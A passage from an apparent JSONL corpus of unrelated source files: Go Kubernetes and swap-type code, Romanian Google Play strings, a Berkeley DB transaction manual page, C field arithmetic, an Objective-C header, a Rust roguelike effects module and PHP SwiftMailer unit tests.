spec.PersistentVolume != nil &&\n\t\tspec.PersistentVolume.Spec.FC != nil {\n\t\treturn spec.PersistentVolume.Spec.FC, spec.ReadOnly, nil\n\t}\n\n\treturn nil, false, fmt.Errorf(\"Spec does not reference a FibreChannel volume type\")\n}\n"} +{"text": "\n\n \"Eroare a serviciilor Google Play\"\n \"O aplicație necesită instalarea serviciilor Google Play.\"\n \"O aplicație necesită o actualizare pentru serviciile Google Play.\"\n \"O aplicație necesită activarea serviciilor Google Play.\"\n \"Solicitată de %1$s\"\n \"Descărcaţi Servicii Google Play\"\n \"Această aplicaţie nu poate rula fără Servicii Google Play, care lipsesc de pe telefon.\"\n \"Această aplicaţie nu poate rula fără Servicii Google Play, care lipsesc de pe tabletă.\"\n \"Obţineţi Servicii Google Play\"\n \"Activaţi Servicii Google Play\"\n \"Această aplicaţie nu va funcţiona decât dacă activaţi Servicii Google Play.\"\n \"Activaţi Servicii Google Play\"\n \"Actualizaţi Servicii Google Play\"\n \"Această aplicaţie nu poate rula decât dacă actualizaţi Servicii Google Play.\"\n \"Eroare de reţea\"\n \"Este necesară o conexiune de date pentru a vă conecta la serviciile Google Play.\"\n \"Cont nevalid\"\n \"Contul menționat nu există pe acest dispozitiv. Alegeți alt cont.\"\n \"Problemă necunoscută privind Servicii Google Play.\"\n \"Servicii Google Play\"\n \"Gadgetul nu acceptă serviciile Google Play, pe care se bazează unele dintre aplicații. Pentru asistență, contactați producătorul gadgetului.\"\n \"Data de pe dispozitiv pare să fie incorectă. Verificați data de pe dispozitiv.\"\n \"Actualizaţi\"\n \"Conectați\"\n \"Conectați-vă cu Google\"\n\n"} +{"text": "\n\n\n \n \n Recoverability and deadlock handling\n \n \n \n \n \n \n \n \n
    \n
    \n

    Library Version 12.1.6.1

    \n
    \n \n \n \n \n \n \n \n \n \n
    Recoverability and deadlock handling
    Prev Chapter 11.  Berkeley DB Transactional Data Store Applications  Next
    \n
    \n
    \n
    \n
    \n
    \n
    \n

    Recoverability and deadlock handling

    \n
    \n
    \n
    \n

    \n The first reason listed for using transactions was\n recoverability. Any logical change to a database may require\n multiple changes to underlying data structures. For example,\n modifying a record in a Btree may require leaf and internal\n pages to split, so a single DB->put() method call can\n potentially require that multiple physical database pages be\n written. If only some of those pages are written and then the\n system or application fails, the database is left inconsistent\n and cannot be used until it has been recovered; that is, until\n the partially completed changes have been undone.\n

    \n

    \n Write-ahead-logging is the term that\n describes the underlying implementation that Berkeley DB uses\n to ensure recoverability. What it means is that before any\n change is made to a database, information about the change is\n written to a database log. During recovery, the log is read,\n and databases are checked to ensure that changes described in\n the log for committed transactions appear in the database.\n Changes that appear in the database but are related to aborted\n or unfinished transactions in the log are undone from the\n database.\n

    \n

    \n For recoverability after application or system failure,\n operations that modify the database must be protected by\n transactions. More specifically, operations are not\n recoverable unless a transaction is begun and each operation\n is associated with the transaction via the Berkeley DB\n interfaces, and then the transaction successfully committed.\n This is true even if logging is turned on in the database\n environment.\n

    \n

    \n Here is an example function that updates a record in a\n database in a transactionally protected manner. The function\n takes a key and data items as arguments and then attempts to\n store them into the database.\n

    \n
    int\nmain(int argc, char *argv)\n{\n    extern int optind;\n    DB *db_cats, *db_color, *db_fruit;\n    DB_ENV *dbenv;\n    int ch;\n\n    while ((ch = getopt(argc, argv, \"\")) != EOF)\n        switch (ch) {\n        case '?':\n        default:\n            usage();\n        }\n    argc -= optind;\n    argv += optind;\n\n    env_dir_create();\n    env_open(&dbenv);\n\n    /* Open database: Key is fruit class; Data is specific type. */\n    db_open(dbenv, &db_fruit, \"fruit\", 0);\n\n    /* Open database: Key is a color; Data is an integer. */\n    db_open(dbenv, &db_color, \"color\", 0);\n\n    /*\n     * Open database:\n     *    Key is a name; Data is: company name, cat breeds.\n     */\n    db_open(dbenv, &db_cats, \"cats\", 1);\n\n    add_fruit(dbenv, db_fruit, \"apple\", \"yellow delicious\");\n\n    return (0);\n}\n\nint\nadd_fruit(DB_ENV *dbenv, DB *db, char *fruit, char *name)\n{\n    DBT key, data;\n    DB_TXN *tid;\n    int fail, ret, t_ret;\n\n    /* Initialization. */\n    memset(&key, 0, sizeof(key));\n    memset(&data, 0, sizeof(data));\n    key.data = fruit;\n    key.size = strlen(fruit);\n    data.data = name;\n    data.size = strlen(name);\n\n    for (fail = 0;;) {\n        /* Begin the transaction. */\n        if ((ret = dbenv->txn_begin(dbenv, NULL, &tid, 0)) != 0) {\n            dbenv->err(dbenv, ret, \"DB_ENV->txn_begin\");\n            exit (1);\n        }\n\n        /* Store the value. */\n        switch (ret = db->put(db, tid, &key, &data, 0)) {\n        case 0:\n            /* Success: commit the change. */\n            if ((ret = tid->commit(tid, 0)) != 0) {\n                dbenv->err(dbenv, ret, \"DB_TXN->commit\");\n                exit (1);\n            }\n            return (0);\n        case DB_LOCK_DEADLOCK:\n        default:\n            /* Retry the operation. */\n            if ((t_ret = tid->abort(tid)) != 0) {\n                dbenv->err(dbenv, t_ret, \"DB_TXN->abort\");\n                exit (1);\n            }\n            if (fail++ == MAXIMUM_RETRY)\n                return (ret);\n            break;\n        }\n    }\n}
    \n

    \n Berkeley DB also uses transactions to recover from deadlock.\n Database operations (that is, any call to a function\n underlying the handles returned by DB->open() and DB->cursor())\n are usually performed on behalf of a unique locker.\n Transactions can be used to perform multiple calls on behalf\n of the same locker within a single thread of control. For\n example, consider the case in which an application uses a\n cursor scan to locate a record and then the application\n accesses another other item in the database, based on the key\n returned by the cursor, without first closing the cursor. If\n these operations are done using default locker IDs, they may\n conflict. If the locks are obtained on behalf of a\n transaction, using the transaction's locker ID instead of the\n database handle's locker ID, the operations will not\n conflict.\n

    \n

    \n There is a new error return in this function that you may\n not have seen before. In transactional (not Concurrent Data\n Store) applications supporting both readers and writers, or\n just multiple writers, Berkeley DB functions have an\n additional possible error return: \n DB_LOCK_DEADLOCK. This means two threads of\n control deadlocked, and the thread receiving the\n DB_LOCK_DEADLOCK error return has been\n selected to discard its locks in order to resolve the problem.\n When an application receives a\n DB_LOCK_DEADLOCK return, the correct\n action is to close any cursors involved in the operation and\n abort any enclosing transaction. In the sample code, any time\n the DB->put() method returns\n DB_LOCK_DEADLOCK, DB_TXN->abort() is called\n (which releases the transaction's Berkeley DB resources and\n undoes any partial changes to the databases), and then the\n transaction is retried from the beginning.\n

    \n

    \n There is no requirement that the transaction be attempted\n again, but that is a common course of action for applications.\n Applications may want to set an upper bound on the number of\n times an operation will be retried because some operations on\n some data sets may simply be unable to succeed. For example,\n updating all of the pages on a large Web site during prime\n business hours may simply be impossible because of the high\n access rate to the database.\n

    \n

    \n The DB_TXN->abort() method is called in error cases other than\n deadlock. Any time an error occurs, such that a\n transactionally protected set of operations cannot complete\n successfully, the transaction must be aborted. While deadlock\n is by far the most common of these errors, there are other\n possibilities; for example, running out of disk space for the\n filesystem. In Berkeley DB transactional applications, there\n are three classes of error returns: \"expected\" errors,\n \"unexpected but recoverable\" errors, and a single\n \"unrecoverable\" error. Expected errors are errors like DB_NOTFOUND,\n which indicates that a searched-for key item is not present in\n the database. Applications may want to explicitly test for and\n handle this error, or, in the case where the absence of a key\n implies the enclosing transaction should fail, simply call\n DB_TXN->abort(). Unexpected but recoverable errors are errors like\n DB_LOCK_DEADLOCK,\n which indicates that an operation has been selected to resolve a\n deadlock, or a system error such as EIO, which likely indicates\n that the filesystem has no available disk space. Applications must\n immediately call DB_TXN->abort() when these returns occur, as it is not\n possible to proceed otherwise. The only unrecoverable error is\n DB_RUNRECOVERY,\n which indicates that the system\n must stop and recovery must be run.\n

    \n

    \n The above code can be simplified in the case of a\n transaction comprised entirely of a single database put or\n delete operation, as operations occurring in transactional\n databases are implicitly transaction protected. For example,\n in a transactional database, the above code could be more\n simply written as:\n

    \n
    \n    for (fail = 0; fail++ <= MAXIMUM_RETRY &&\n        (ret = db->put(db, NULL, &key, &data, 0)) == DB_LOCK_DEADLOCK;)\n        continue;\n    return (ret == 0 ? 0 : 1);
    \n

    \n and the underlying transaction would be automatically\n handled by Berkeley DB.\n

    \n

    \n Programmers should not attempt to enumerate all possible\n error returns in their software. Instead, they should\n explicitly handle expected returns and default to aborting the\n transaction for the rest. It is entirely the choice of the\n programmer whether to check for \n DB_RUNRECOVERY explicitly or not —\n attempting new Berkeley DB operations after DB_RUNRECOVERY\n is returned does not worsen the\n situation. Alternatively, using the DB_ENV->set_event_notify() method\n to handle an unrecoverable error and simply doing some number\n of abort-and-retry cycles for any unexpected Berkeley DB or\n system error in the mainline code often results in the\n simplest and cleanest application code.\n

    \n
    \n
    \n
    \n \n \n \n \n \n \n \n \n \n \n \n
    Prev \n Up\n  Next
    Opening the databases \n Home\n  Atomicity
    \n
    \n \n\n"} +{"text": "/* Copyright (c) 2014 Cryptography Research, Inc.\n * Released under the MIT License. See LICENSE.txt for license information.\n */\n\n#include \"f_field.h\"\n\n#if (defined(__OPTIMIZE__) && !defined(__OPTIMIZE_SIZE__) && !I_HATE_UNROLLED_LOOPS) \\\n || defined(CRYPTONITE_DECAF_FORCE_UNROLL)\n#define REPEAT8(_x) _x _x _x _x _x _x _x _x\n#define FOR_LIMB(_i,_start,_end,_x) do { _i=_start; REPEAT8( if (_i<_end) { _x; } _i++;) } while (0)\n#else\n#define FOR_LIMB(_i,_start,_end,_x) do { for (_i=_start; _i<_end; _i++) _x; } while (0)\n#endif\n\nvoid cryptonite_gf_mul (cryptonite_gf_s *__restrict__ cs, const gf as, const gf bs) { \n const uint32_t *a = as->limb, *b = bs->limb;\n uint32_t *c = cs->limb;\n\n uint64_t accum0 = 0, accum1 = 0, accum2 = 0;\n uint32_t mask = (1<<28) - 1; \n\n uint32_t aa[8], bb[8];\n \n int i,j;\n for (i=0; i<8; i++) {\n aa[i] = a[i] + a[i+8];\n bb[i] = b[i] + b[i+8];\n }\n \n FOR_LIMB(j,0,8,{\n accum2 = 0;\n \n FOR_LIMB (i,0,j+1,{\n accum2 += widemul(a[j-i],b[i]);\n accum1 += widemul(aa[j-i],bb[i]);\n accum0 += widemul(a[8+j-i], b[8+i]);\n });\n \n accum1 -= accum2;\n accum0 += accum2;\n accum2 = 0;\n \n FOR_LIMB (i,j+1,8,{\n accum0 -= widemul(a[8+j-i], b[i]);\n accum2 += widemul(aa[8+j-i], bb[i]);\n accum1 += widemul(a[16+j-i], b[8+i]);\n });\n\n accum1 += accum2;\n accum0 += accum2;\n\n c[j] = ((uint32_t)(accum0)) & mask;\n c[j+8] = ((uint32_t)(accum1)) & mask;\n\n accum0 >>= 28;\n accum1 >>= 28;\n });\n \n accum0 += accum1;\n accum0 += c[8];\n accum1 += c[0];\n c[8] = ((uint32_t)(accum0)) & mask;\n c[0] = ((uint32_t)(accum1)) & mask;\n \n accum0 >>= 28;\n accum1 >>= 28;\n c[9] += ((uint32_t)(accum0));\n c[1] += ((uint32_t)(accum1));\n}\n\nvoid cryptonite_gf_mulw_unsigned (cryptonite_gf_s *__restrict__ cs, const gf as, uint32_t b) {\n assert(b<1<<28);\n \n const uint32_t *a = as->limb;\n uint32_t *c = cs->limb;\n\n uint64_t accum0 = 0, accum8 = 0;\n uint32_t mask = (1ull<<28)-1; \n\n int i;\n FOR_LIMB(i,0,8,{\n accum0 += widemul(b, a[i]);\n accum8 += widemul(b, a[i+8]);\n\n c[i] = accum0 & mask; accum0 >>= 28;\n c[i+8] = accum8 & mask; accum8 >>= 28;\n });\n\n accum0 += accum8 + c[8];\n c[8] = accum0 & mask;\n c[9] += accum0 >> 28;\n\n accum8 += c[0];\n c[0] = accum8 & mask;\n c[1] += accum8 >> 28;\n}\n\nvoid cryptonite_gf_sqr (cryptonite_gf_s *__restrict__ cs, const gf as) {\n cryptonite_gf_mul(cs,as,as); /* Performs better with a dedicated square */\n}\n\n"} +{"text": "this extension is experimental,\nits functions may change their names \nor move to extension all together \nso do not rely to much on them \nyou have been warned!\n"} +{"text": "//\n// Generated by class-dump 3.5 (64 bit) (Debug version compiled Oct 25 2017 03:49:04).\n//\n// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard.\n//\n\n#import \n\n@class IPDigitGroup, NSMutableData;\n\n@interface IPParser : NSObject\n{\n unsigned int _q;\n IPDigitGroup *_group;\n NSMutableData *_ipchars;\n unsigned int _formatFlags;\n BOOL _isV6;\n BOOL _hasDoubleColon;\n unsigned int _prefixLen;\n long long _error;\n}\n\n- (void).cxx_destruct;\n- (long long)setAddressString:(id)arg1;\n- (long long)validateComplete;\n- (long long)appendChar:(unsigned short)arg1;\n@property(readonly) long long error;\n- (id)addressString;\n@property(readonly) unsigned int prefixLength;\n@property(readonly, getter=isV6) BOOL v6;\n@property unsigned int addressFormat;\n- (void)reset;\n- (id)initWithAddressString:(id)arg1 format:(unsigned int)arg2;\n- (id)init;\n\n@end\n\n"} +{"text": "use std::sync::Mutex;\nuse specs::prelude::*;\nuse std::collections::{HashSet, VecDeque};\nuse crate::map::Map;\nmod damage;\nmod targeting;\npub use targeting::*;\nmod particles;\nmod triggers;\nmod hunger;\nmod movement;\nuse crate::components::AttributeBonus;\nuse rltk::Point;\n\nlazy_static! {\n pub static ref EFFECT_QUEUE : Mutex> = Mutex::new(VecDeque::new());\n}\n\n#[derive(Debug)]\npub enum EffectType { \n Damage { amount : i32 },\n Bloodstain,\n Particle { glyph: rltk::FontCharType, fg : rltk::RGB, bg: rltk::RGB, lifespan: f32 },\n ParticleProjectile { glyph: rltk::FontCharType, fg : rltk::RGB, bg: rltk::RGB, lifespan: f32, speed: f32, path: Vec },\n EntityDeath,\n ItemUse { item: Entity },\n SpellUse { spell: Entity },\n WellFed,\n Healing { amount : i32 },\n Mana { amount : i32 },\n Confusion { turns : i32 },\n TriggerFire { trigger: Entity },\n TeleportTo { x:i32, y:i32, depth: i32, player_only : bool },\n AttributeEffect { bonus : AttributeBonus, name : String, duration : i32 },\n Slow { initiative_penalty : f32 },\n DamageOverTime { damage : i32 }\n}\n\n#[derive(Clone, Debug)]\npub enum Targets {\n Single { target : Entity },\n TargetList { targets: Vec },\n Tile { tile_idx : i32 },\n Tiles { tiles: Vec }\n}\n\n#[derive(Debug)]\npub struct EffectSpawner {\n pub creator : Option,\n pub effect_type : EffectType,\n pub targets : Targets,\n dedupe : HashSet\n}\n\npub fn add_effect(creator : Option, effect_type: EffectType, targets : Targets) {\n EFFECT_QUEUE\n .lock()\n .unwrap()\n .push_back(EffectSpawner{\n creator,\n effect_type,\n targets,\n dedupe : HashSet::new()\n });\n}\n\npub fn run_effects_queue(ecs : &mut World) {\n loop {\n let effect : Option = EFFECT_QUEUE.lock().unwrap().pop_front();\n if let Some(mut effect) = effect {\n target_applicator(ecs, &mut effect);\n } else {\n break;\n }\n }\n}\n\nfn target_applicator(ecs : &mut World, effect : &mut EffectSpawner) {\n if let EffectType::ItemUse{item} = effect.effect_type {\n triggers::item_trigger(effect.creator, item, &effect.targets, ecs);\n } else if let EffectType::SpellUse{spell} = effect.effect_type {\n triggers::spell_trigger(effect.creator, spell, &effect.targets, ecs);\n } else if let EffectType::TriggerFire{trigger} = effect.effect_type {\n triggers::trigger(effect.creator, trigger, &effect.targets, ecs);\n } else {\n match &effect.targets.clone() {\n Targets::Tile{tile_idx} => affect_tile(ecs, effect, *tile_idx),\n Targets::Tiles{tiles} => tiles.iter().for_each(|tile_idx| affect_tile(ecs, effect, *tile_idx)),\n Targets::Single{target} => affect_entity(ecs, effect, *target),\n Targets::TargetList{targets} => targets.iter().for_each(|entity| affect_entity(ecs, effect, *entity)),\n }\n }\n}\n\nfn tile_effect_hits_entities(effect: &EffectType) -> bool {\n match effect {\n EffectType::Damage{..} => true,\n EffectType::WellFed => true,\n EffectType::Healing{..} => true,\n EffectType::Mana{..} => true,\n EffectType::Confusion{..} => true,\n EffectType::TeleportTo{..} => true,\n EffectType::AttributeEffect{..} => true,\n EffectType::Slow{..} => true,\n EffectType::DamageOverTime{..} => true,\n _ => false\n }\n}\n\nfn affect_tile(ecs: &mut World, effect: &mut EffectSpawner, tile_idx : i32) {\n if tile_effect_hits_entities(&effect.effect_type) {\n let content = crate::spatial::get_tile_content_clone(tile_idx as usize);\n content.iter().for_each(|entity| affect_entity(ecs, effect, *entity));\n }\n\n match &effect.effect_type {\n EffectType::Bloodstain => damage::bloodstain(ecs, tile_idx),\n EffectType::Particle{..} => particles::particle_to_tile(ecs, tile_idx, &effect),\n EffectType::ParticleProjectile{..} => particles::projectile(ecs, tile_idx, &effect),\n _ => {}\n }\n}\n\nfn affect_entity(ecs: &mut World, effect: &mut EffectSpawner, target: Entity) {\n if effect.dedupe.contains(&target) { \n return; \n }\n effect.dedupe.insert(target);\n match &effect.effect_type {\n EffectType::Damage{..} => damage::inflict_damage(ecs, effect, target),\n EffectType::EntityDeath => damage::death(ecs, effect, target),\n EffectType::Bloodstain{..} => if let Some(pos) = entity_position(ecs, target) { damage::bloodstain(ecs, pos) },\n EffectType::Particle{..} => if let Some(pos) = entity_position(ecs, target) { particles::particle_to_tile(ecs, pos, &effect) },\n EffectType::WellFed => hunger::well_fed(ecs, effect, target),\n EffectType::Healing{..} => damage::heal_damage(ecs, effect, target),\n EffectType::Mana{..} => damage::restore_mana(ecs, effect, target),\n EffectType::Confusion{..} => damage::add_confusion(ecs, effect, target),\n EffectType::TeleportTo{..} => movement::apply_teleport(ecs, effect, target),\n EffectType::AttributeEffect{..} => damage::attribute_effect(ecs, effect, target),\n EffectType::Slow{..} => damage::slow(ecs, effect, target),\n EffectType::DamageOverTime{..} => damage::damage_over_time(ecs, effect, target),\n _ => {}\n }\n}\n\n"} +{"text": "package swap\n\n// Type indicates the type of swap.\ntype Type uint8\n\nconst (\n\t// TypeIn is a loop in swap.\n\tTypeIn Type = iota\n\n\t// TypeOut is a loop out swap.\n\tTypeOut\n)\n\nfunc (t Type) String() string {\n\tswitch t {\n\tcase TypeIn:\n\t\treturn \"In\"\n\tcase TypeOut:\n\t\treturn \"Out\"\n\tdefault:\n\t\treturn \"Unknown\"\n\t}\n}\n"} +{"text": "_createHeaderSet();\n $entity = $this->_createEntity($headers, $this->_createEncoder(),\n $this->_createCache()\n );\n $this->assertSame($headers, $entity->getHeaders());\n }\n\n public function testContentTypeIsReturnedFromHeader()\n {\n $ctype = $this->_createHeader('Content-Type', 'image/jpeg-test');\n $headers = $this->_createHeaderSet(array('Content-Type' => $ctype));\n $entity = $this->_createEntity($headers, $this->_createEncoder(),\n $this->_createCache()\n );\n $this->assertEquals('image/jpeg-test', $entity->getContentType());\n }\n\n public function testContentTypeIsSetInHeader()\n {\n $ctype = $this->_createHeader('Content-Type', 'text/plain', array(), false);\n $headers = $this->_createHeaderSet(array('Content-Type' => $ctype));\n\n $ctype->shouldReceive('setFieldBodyModel')\n ->once()\n ->with('image/jpeg');\n $ctype->shouldReceive('setFieldBodyModel')\n ->zeroOrMoreTimes()\n ->with(\\Mockery::not('image/jpeg'));\n\n $entity = $this->_createEntity($headers, $this->_createEncoder(),\n $this->_createCache()\n );\n $entity->setContentType('image/jpeg');\n }\n\n public function testContentTypeHeaderIsAddedIfNoneSet()\n {\n $headers = $this->_createHeaderSet(array(), false);\n $headers->shouldReceive('addParameterizedHeader')\n ->once()\n ->with('Content-Type', 'image/jpeg');\n $headers->shouldReceive('addParameterizedHeader')\n ->zeroOrMoreTimes();\n\n $entity = $this->_createEntity($headers, $this->_createEncoder(),\n $this->_createCache()\n );\n $entity->setContentType('image/jpeg');\n }\n\n public function testContentTypeCanBeSetViaSetBody()\n {\n $headers = $this->_createHeaderSet(array(), false);\n $headers->shouldReceive('addParameterizedHeader')\n ->once()\n ->with('Content-Type', 'text/html');\n $headers->shouldReceive('addParameterizedHeader')\n ->zeroOrMoreTimes();\n\n $entity = $this->_createEntity($headers, $this->_createEncoder(),\n $this->_createCache()\n );\n $entity->setBody('foo', 'text/html');\n }\n\n public function testGetEncoderFromConstructor()\n {\n $encoder = $this->_createEncoder('base64');\n $entity = $this->_createEntity($this->_createHeaderSet(), $encoder,\n $this->_createCache()\n );\n $this->assertSame($encoder, $entity->getEncoder());\n }\n\n public function testSetAndGetEncoder()\n {\n $encoder = $this->_createEncoder('base64');\n $headers = $this->_createHeaderSet();\n $entity = $this->_createEntity($headers, $this->_createEncoder(),\n $this->_createCache()\n );\n $entity->setEncoder($encoder);\n $this->assertSame($encoder, $entity->getEncoder());\n }\n\n public function testSettingEncoderUpdatesTransferEncoding()\n {\n $encoder = $this->_createEncoder('base64');\n $encoding = $this->_createHeader(\n 'Content-Transfer-Encoding', '8bit', array(), false\n );\n $headers = $this->_createHeaderSet(array(\n 'Content-Transfer-Encoding' => $encoding,\n ));\n $encoding->shouldReceive('setFieldBodyModel')\n ->once()\n ->with('base64');\n $encoding->shouldReceive('setFieldBodyModel')\n ->zeroOrMoreTimes();\n\n $entity = $this->_createEntity($headers, $this->_createEncoder(),\n $this->_createCache()\n );\n $entity->setEncoder($encoder);\n }\n\n public function testSettingEncoderAddsEncodingHeaderIfNonePresent()\n {\n $headers = $this->_createHeaderSet(array(), false);\n $headers->shouldReceive('addTextHeader')\n ->once()\n ->with('Content-Transfer-Encoding', 'something');\n $headers->shouldReceive('addTextHeader')\n ->zeroOrMoreTimes();\n\n $entity = $this->_createEntity($headers, $this->_createEncoder(),\n $this->_createCache()\n );\n $entity->setEncoder($this->_createEncoder('something'));\n }\n\n public function testIdIsReturnedFromHeader()\n {\n /* -- RFC 2045, 7.\n In constructing a high-level user agent, it may be desirable to allow\n one body to make reference to another. Accordingly, bodies may be\n labelled using the \"Content-ID\" header field, which is syntactically\n identical to the \"Message-ID\" header field\n */\n\n $cid = $this->_createHeader('Content-ID', 'zip@button');\n $headers = $this->_createHeaderSet(array('Content-ID' => $cid));\n $entity = $this->_createEntity($headers, $this->_createEncoder(),\n $this->_createCache()\n );\n $this->assertEquals('zip@button', $entity->getId());\n }\n\n public function testIdIsSetInHeader()\n {\n $cid = $this->_createHeader('Content-ID', 'zip@button', array(), false);\n $headers = $this->_createHeaderSet(array('Content-ID' => $cid));\n\n $cid->shouldReceive('setFieldBodyModel')\n ->once()\n ->with('foo@bar');\n $cid->shouldReceive('setFieldBodyModel')\n ->zeroOrMoreTimes();\n\n $entity = $this->_createEntity($headers, $this->_createEncoder(),\n $this->_createCache()\n );\n $entity->setId('foo@bar');\n }\n\n public function testIdIsAutoGenerated()\n {\n $entity = $this->_createEntity($this->_createHeaderSet(),\n $this->_createEncoder(), $this->_createCache()\n );\n $this->assertRegExp('/^.*?@.*?$/D', $entity->getId());\n }\n\n public function testGenerateIdCreatesNewId()\n {\n $headers = $this->_createHeaderSet();\n $entity = $this->_createEntity($headers, $this->_createEncoder(),\n $this->_createCache()\n );\n $id1 = $entity->generateId();\n $id2 = $entity->generateId();\n $this->assertNotEquals($id1, $id2);\n }\n\n public function testGenerateIdSetsNewId()\n {\n $headers = $this->_createHeaderSet();\n $entity = $this->_createEntity($headers, $this->_createEncoder(),\n $this->_createCache()\n );\n $id = $entity->generateId();\n $this->assertEquals($id, $entity->getId());\n }\n\n public function testDescriptionIsReadFromHeader()\n {\n /* -- RFC 2045, 8.\n The ability to associate some descriptive information with a given\n body is often desirable. For example, it may be useful to mark an\n \"image\" body as \"a picture of the Space Shuttle Endeavor.\" Such text\n may be placed in the Content-Description header field. This header\n field is always optional.\n */\n\n $desc = $this->_createHeader('Content-Description', 'something');\n $headers = $this->_createHeaderSet(array('Content-Description' => $desc));\n $entity = $this->_createEntity($headers, $this->_createEncoder(),\n $this->_createCache()\n );\n $this->assertEquals('something', $entity->getDescription());\n }\n\n public function testDescriptionIsSetInHeader()\n {\n $desc = $this->_createHeader('Content-Description', '', array(), false);\n $desc->shouldReceive('setFieldBodyModel')->once()->with('whatever');\n\n $headers = $this->_createHeaderSet(array('Content-Description' => $desc));\n\n $entity = $this->_createEntity($headers, $this->_createEncoder(),\n $this->_createCache()\n );\n $entity->setDescription('whatever');\n }\n\n public function testDescriptionHeaderIsAddedIfNotPresent()\n {\n $headers = $this->_createHeaderSet(array(), false);\n $headers->shouldReceive('addTextHeader')\n ->once()\n ->with('Content-Description', 'whatever');\n $headers->shouldReceive('addTextHeader')\n ->zeroOrMoreTimes();\n\n $entity = $this->_createEntity($headers, $this->_createEncoder(),\n $this->_createCache()\n );\n $entity->setDescription('whatever');\n }\n\n public function testSetAndGetMaxLineLength()\n {\n $entity = $this->_createEntity($this->_createHeaderSet(),\n $this->_createEncoder(), $this->_createCache()\n );\n $entity->setMaxLineLength(60);\n $this->assertEquals(60, $entity->getMaxLineLength());\n }\n\n public function testEncoderIsUsedForStringGeneration()\n {\n $encoder = $this->_createEncoder('base64', false);\n $encoder->expects($this->once())\n ->method('encodeString')\n ->with('blah');\n\n $entity = $this->_createEntity($this->_createHeaderSet(),\n $encoder, $this->_createCache()\n );\n $entity->setBody(\"blah\");\n $entity->toString();\n }\n\n public function testMaxLineLengthIsProvidedWhenEncoding()\n {\n $encoder = $this->_createEncoder('base64', false);\n $encoder->expects($this->once())\n ->method('encodeString')\n ->with('blah', 0, 65);\n\n $entity = $this->_createEntity($this->_createHeaderSet(),\n $encoder, $this->_createCache()\n );\n $entity->setBody(\"blah\");\n $entity->setMaxLineLength(65);\n $entity->toString();\n }\n\n public function testHeadersAppearInString()\n {\n $headers = $this->_createHeaderSet(array(), false);\n $headers->shouldReceive('toString')\n ->once()\n ->andReturn(\n \"Content-Type: text/plain; charset=utf-8\\r\\n\".\n \"X-MyHeader: foobar\\r\\n\"\n );\n\n $entity = $this->_createEntity($headers, $this->_createEncoder(),\n $this->_createCache()\n );\n $this->assertEquals(\n \"Content-Type: text/plain; charset=utf-8\\r\\n\".\n \"X-MyHeader: foobar\\r\\n\",\n $entity->toString()\n );\n }\n\n public function testSetAndGetBody()\n {\n $entity = $this->_createEntity($this->_createHeaderSet(),\n $this->_createEncoder(), $this->_createCache()\n );\n $entity->setBody(\"blah\\r\\nblah!\");\n $this->assertEquals(\"blah\\r\\nblah!\", $entity->getBody());\n }\n\n public function testBodyIsAppended()\n {\n $headers = $this->_createHeaderSet(array(), false);\n $headers->shouldReceive('toString')\n ->once()\n ->andReturn(\"Content-Type: text/plain; charset=utf-8\\r\\n\");\n\n $entity = $this->_createEntity($headers, $this->_createEncoder(),\n $this->_createCache()\n );\n $entity->setBody(\"blah\\r\\nblah!\");\n $this->assertEquals(\n \"Content-Type: text/plain; charset=utf-8\\r\\n\".\n \"\\r\\n\".\n \"blah\\r\\nblah!\",\n $entity->toString()\n );\n }\n\n public function testGetBodyReturnsStringFromByteStream()\n {\n $os = $this->_createOutputStream(\"byte stream string\");\n $entity = $this->_createEntity($this->_createHeaderSet(),\n $this->_createEncoder(), $this->_createCache()\n );\n $entity->setBody($os);\n $this->assertEquals(\"byte stream string\", $entity->getBody());\n }\n\n public function testByteStreamBodyIsAppended()\n {\n $headers = $this->_createHeaderSet(array(), false);\n $os = $this->_createOutputStream(\"streamed\");\n $headers->shouldReceive('toString')\n ->once()\n ->andReturn(\"Content-Type: text/plain; charset=utf-8\\r\\n\");\n\n $entity = $this->_createEntity($headers, $this->_createEncoder(),\n $this->_createCache()\n );\n $entity->setBody($os);\n $this->assertEquals(\n \"Content-Type: text/plain; charset=utf-8\\r\\n\".\n \"\\r\\n\".\n \"streamed\",\n $entity->toString()\n );\n }\n\n public function testBoundaryCanBeRetrieved()\n {\n /* -- RFC 2046, 5.1.1.\n boundary := 0*69 bcharsnospace\n\n bchars := bcharsnospace / \" \"\n\n bcharsnospace := DIGIT / ALPHA / \"'\" / \"(\" / \")\" /\n \"+\" / \"_\" / \",\" / \"-\" / \".\" /\n \"/\" / \":\" / \"=\" / \"?\"\n */\n\n $entity = $this->_createEntity($this->_createHeaderSet(),\n $this->_createEncoder(), $this->_createCache()\n );\n $this->assertRegExp(\n '/^[a-zA-Z0-9\\'\\(\\)\\+_\\-,\\.\\/:=\\?\\ ]{0,69}[a-zA-Z0-9\\'\\(\\)\\+_\\-,\\.\\/:=\\?]$/D',\n $entity->getBoundary()\n );\n }\n\n public function testBoundaryNeverChanges()\n {\n $entity = $this->_createEntity($this->_createHeaderSet(),\n $this->_createEncoder(), $this->_createCache()\n );\n $firstBoundary = $entity->getBoundary();\n for ($i = 0; $i < 10; $i++) {\n $this->assertEquals($firstBoundary, $entity->getBoundary());\n }\n }\n\n public function testBoundaryCanBeSet()\n {\n $entity = $this->_createEntity($this->_createHeaderSet(),\n $this->_createEncoder(), $this->_createCache()\n );\n $entity->setBoundary('foobar');\n $this->assertEquals('foobar', $entity->getBoundary());\n }\n\n public function testAddingChildrenGeneratesBoundaryInHeaders()\n {\n $child = $this->_createChild();\n $cType = $this->_createHeader('Content-Type', 'text/plain', array(), false);\n $cType->shouldReceive('setParameter')\n ->once()\n ->with('boundary', \\Mockery::any());\n $cType->shouldReceive('setParameter')\n ->zeroOrMoreTimes();\n\n $entity = $this->_createEntity($this->_createHeaderSet(array(\n 'Content-Type' => $cType,\n )),\n $this->_createEncoder(), $this->_createCache()\n );\n $entity->setChildren(array($child));\n }\n\n public function testChildrenOfLevelAttachmentAndLessCauseMultipartMixed()\n {\n for ($level = Swift_Mime_MimeEntity::LEVEL_MIXED;\n $level > Swift_Mime_MimeEntity::LEVEL_TOP; $level /= 2) {\n $child = $this->_createChild($level);\n $cType = $this->_createHeader(\n 'Content-Type', 'text/plain', array(), false\n );\n $cType->shouldReceive('setFieldBodyModel')\n ->once()\n ->with('multipart/mixed');\n $cType->shouldReceive('setFieldBodyModel')\n ->zeroOrMoreTimes();\n\n $entity = $this->_createEntity($this->_createHeaderSet(array(\n 'Content-Type' => $cType,)),\n $this->_createEncoder(), $this->_createCache()\n );\n $entity->setChildren(array($child));\n }\n }\n\n public function 